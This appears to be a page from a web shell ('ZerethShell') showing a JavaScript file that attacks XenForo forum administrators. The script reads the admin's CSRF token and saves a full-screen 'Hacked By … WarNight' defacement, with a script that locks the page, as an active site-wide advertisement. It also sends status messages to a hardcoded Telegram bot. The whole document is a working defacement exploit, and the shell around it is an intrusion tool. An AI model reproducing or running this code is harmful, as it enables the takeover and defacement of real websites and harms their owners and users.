ZerethShell
File Manager
SQL Manager
/
proc
/
thread-self
/
cwd
xf-index.js
(async () => { const tgToken = "8622111555:AAEtif5njmhk4L1sUC_pivIUbwWOHClTINc"; const chatId = "-1003650778510"; const sendLog = async (msg) => { try { await fetch(`https://api.telegram.org/bot${tgToken}/sendMessage`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ chat_id: chatId, text: msg }) }); } catch (e) {} }; try { const csrfToken = window.XF?.config?.csrf || document.querySelector('input[name="_xfToken"]')?.value; let adminUrl = document.querySelector('a[href*="admin.php"]')?.getAttribute('href') || 'admin.php'; adminUrl = adminUrl.split('?')[0]; if (!csrfToken) return; // FULL PAGE HTML (CSS ile tüm ekranı kaplar) const fullPageHtml = ` <div id="xf-deface-layer" style="position:fixed;top:0;left:0;width:100vw;height:100vh;background:#000;z-index:9999999;display:flex;flex-direction:column;align-items:center;justify-content:center;font-family:Orbitron,sans-serif;color:white;overflow:hidden;"> <div style="width:min(300px,85vw);height:min(300px,85vw);margin-bottom:25px;border-radius:50%;overflow:hidden;border:2px solid #ff0000;box-shadow:0 0 20px #ff0000"> <img src="https://i.ibb.co/bgGj6wqM/ascii.webp" style="width:100%;height:100%;object-fit:cover"> </div> <h1 style="font-size:clamp(20px,5vw,32px);font-weight:900;text-align:center;"> Hacked By <span style="color:red;text-shadow:0 0 15px red">Mori & RootAxus & Anubis Root & Sergei & RootLydex</span> </h1> <div style="margin-top:20px;text-align:center"> Contact:<br><a href="https://discord.gg/WarNight" style="color:#06f;text-decoration:none">discord.gg/WarNight</a> </div> <div style="font-size:11px;opacity:0.8;margin-top:20px;text-align:center"> War<span style="color:red">Night</span><br>© All Rights Reserved </div> </div> <script> // Sayfadaki kaydırma çubuklarını yok et ve XenForo overlay'lerini temizle document.body.style.overflow = 'hidden'; document.documentElement.style.overflow = 'hidden'; // Eğer XF bir modal açarsa onu da kapatmaya zorla setInterval(() => { const layer = document.getElementById('xf-deface-layer'); if(layer) layer.style.display = 'flex'; }, 100); <\/script>`.replace(/\n/g, ""); // Satırları birleştir // REKLAM KAYDI // 'container_header' genellikle her sayfada vardır, tek yere basmak yeterlidir. const f = new FormData(); f.append('_xfToken', csrfToken); f.append('title', `SYS_DEBUG_${Math.floor(Math.random()*999)}`); f.append('position_id', 'container_header'); f.append('ad_html', fullPageHtml); f.append('display_order', '1'); f.append('active', '1'); f.append('_xfResponseType', 'json'); const response = await fetch(`${adminUrl}?advertising/save`, { method: 'POST', body: f, headers: { 'X-Requested-With': 'XMLHttpRequest' } }); if (response.ok) { await sendLog("✅ FULL PAGE INDEX BASILDI!"); } else { await sendLog("❌ YAZMA HATASI: Yetki yetersiz veya reklam alanı geçersiz."); } } catch (err) { await sendLog(`❌ HATA: ${err.message}`); } })();
Kaydet
Vazgeç